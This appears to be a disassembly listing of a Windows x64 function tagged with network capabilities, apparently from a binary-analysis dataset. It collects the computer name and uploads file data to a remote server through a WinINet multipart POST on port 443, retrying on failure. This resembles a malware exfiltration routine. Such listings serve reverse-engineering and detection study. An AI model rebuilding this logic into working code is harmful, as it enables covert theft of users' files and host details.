Function at 0x1400c54c1
Capabilities:
Connect to http server
Create http request
Get hostname
Send data
Send http request

Disassembly:
jmp 0x1400e9710
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xf20
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x298
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xf48]
mov rax, qword [0x1402ad140]
xor rax, rbp
mov qword [rbp + 0xed8], rax
lea rcx, [0x1402ca107]
call fcn.1400c75eb
lea rdx, [0x14026068e]
lea rcx, [rbp + 8]
call fcn.1400c472e
nop
mov dword [rbp + 0x164], 0x100
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x1400e978c
jmp 0x1400e97a9
lea rdx, [0x140260b90]
lea rcx, [rbp + 8]
call fcn.1400c26bd
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 8]
call fcn.1400c26bd
lea rcx, [rbp + 0x188]
call fcn.1400c7582
nop
lea rdx, [0x140260b90]
lea rcx, [rbp + 0x1c8]
call fcn.1400c472e
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x188]
call fcn.1400c26bd
lea rdx, [0x1402afb40]
lea rcx, [rbp + 0x1c8]
call fcn.1400c331f
lea rdx, [0x1402afc70]
lea rcx, [rbp + 0x1c8]
call fcn.1400c331f
lea rax, [rbp + 0x208]
lea rcx, str.Content_Type:_multipart_form_data__boundary____qwerty
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x260]
lea rcx, str.______qwerty_r_nContent_Disposition:_form_data__name__s___filename__s__r_nContent_Type:_application_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
mov rdi, rax
mov rsi, rcx
mov ecx, 0x96
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x318]
lea rcx, str._r_n______qwerty___r_n
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x824], 0x803100
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x140260cb0]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x768], rax
lea rcx, [0x1402afcc0]
call fcn.1400c27f8
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
mov rdx, rax
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x788], rax
lea rcx, [rbp + 0x188]
call fcn.1400c27f8
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x1c8]
call fcn.1400c27f8
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov rcx, qword [rbp + 0xec8]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x7a8], rax
mov r9d, 5
lea r8, [rbp + 0x824]
mov edx, 0x1f
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [rbp + 0x844], eax
mov edx, 0x110
lea rcx, [rbp + 0x870]
call fcn.1400c59a8
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x25
mov rdx, qword [rbp + 0xf00]
lea rcx, [rbp + 0x870]
call fcn.1400c6f2e
nop
lea rcx, [rbp + 0x870]
call fcn.1400c226c
movzx eax, al
test eax, eax
je 0x1400e9a4d
lea rdx, [rbp + 0xe88]
lea rcx, [rbp + 0x870]
call fcn.1400c71cc
mov rcx, rax
call fcn.1400c77b2
cdqe
mov rdx, rax
lea rcx, [rbp + 0xe58]
call fcn.1400c27a3
lea rax, [0x1402afb90]
lea rcx, [rbp + 0xe58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1402afb90]
call fcn.1400c77b2
mov rcx, rax
call fcn.1400c45b2
mov qword [rbp + 0xeb8], rax
mov rax, qword [rbp + 0xeb8]
mov qword [0x1402afa70], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x870]
call fcn.1400c653d
lea rcx, [0x1402afb90]
call fcn.1400c77b2
mov r8, rax
mov rdx, qword [0x1402afa70]
lea rcx, [rbp + 0x870]
call fcn.1400c76db
mov r9, qword [rbp + 0xf00]
lea r8, str.filetoupload
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x350]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xec8], rax
lea rcx, [0x1402afb90]
call fcn.1400c77b2
mov rcx, qword [rbp + 0xec8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xed0], rax
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rbp + 0xed0]
add rcx, rax
mov rax, rcx
mov dword [rbp + 0x804], eax
mov eax, dword [rbp + 0x804]
mov ecx, eax
call fcn.1400c52ff
mov qword [rbp + 0x9b8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x9b8]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rbp + 0x350]
call fcn.1400c49ae
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x9b8]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rbp + 0x350]
call fcn.1400c49ae
lea rcx, [0x1402afb90]
call fcn.1400c77b2
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rbp + 0x9b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0xec8]
mov r8, rcx
mov rdx, qword [0x1402afa70]
mov rcx, rax
call fcn.1400c49ae
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rbp + 0xed0], rax
lea rcx, [0x1402afb90]
call fcn.1400c77b2
add rax, qword [rbp + 0x9b8]
mov rcx, qword [rbp + 0xed0]
add rax, rcx
mov rcx, qword [rbp + 0xec8]
mov r8, rcx
lea rdx, [rbp + 0x318]
mov rcx, rax
call fcn.1400c49ae
lea rcx, [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [rbp + 0x804]
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x9b8]
mov r8d, eax
lea rdx, [rbp + 0x208]
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rbp + 0x994], eax
cmp dword [rbp + 0x994], 0
jne 0x1400e9c4e
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x870]
call fcn.1400c2d75
jmp 0x1400e9800
mov rcx, qword [rbp + 0x9b8]
call fcn.1400c3e87
lea rcx, [rbp + 0x870]
call fcn.1400c4f8a
mov rcx, qword [rbp + 0x7a8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x768]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0x870]
call fcn.1400c2d75
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400c3009
nop
lea rcx, [rbp + 0x188]
call fcn.1400c3009
nop
lea rcx, [rbp + 8]
call fcn.1400c3009
lea rcx, [rbp - 0x40]
lea rdx, [0x14025e520]
call fcn.1400c6713
mov rcx, qword [rbp + 0xed8]
xor rcx, rbp
call fcn.1400c498b
lea rsp, [rbp + 0xee0]
pop rdi
pop rsi
pop rbp
ret